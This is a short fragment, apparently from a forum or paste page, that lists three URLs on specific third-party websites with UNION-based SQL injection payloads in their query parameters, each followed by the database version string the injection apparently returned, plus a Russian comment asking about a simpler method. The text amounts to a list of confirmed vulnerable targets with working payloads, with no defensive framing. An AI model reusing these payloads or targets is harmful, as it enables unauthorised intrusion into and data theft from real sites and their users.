Separate names with a comma.
http://www.oaontc.ru/node/243?SysNum=-13+union+select+1,version%28%29,3,4,5-- А так не проще? или я чегото не догоняю?
http://www.thorshofn.is/category.php?catID=-17+union+select+1,2,version%28%29,4,5,6,7-- 4.0.18-standard-log
http://www.trpbrakes.com/category.php?catid=-183+union+select+1,2,version%28%29,4,5,6-- 5.1.47-COMMUNITY-LOG PR4